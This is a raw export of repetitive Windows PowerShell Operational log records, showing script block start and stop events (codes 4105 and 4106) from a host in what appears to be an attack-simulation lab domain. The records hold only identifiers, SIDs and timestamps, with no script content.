SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046936
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046935
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046934
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046933
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046932
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046931
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046930
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046929
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046928
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046927
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046926
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046925
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046924
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046923
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046922
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046920
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046919
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046918
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046917
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046916
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046914
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046912
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046911
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046910
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046909
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046908
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046907
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046906
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046905
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046904
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046903
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046902
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046901
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046900
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046899
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046898
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046896
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046895
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046894
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046893
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046892
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046891
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046890
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046889
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046888
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046887
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046886
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046885
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046884
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
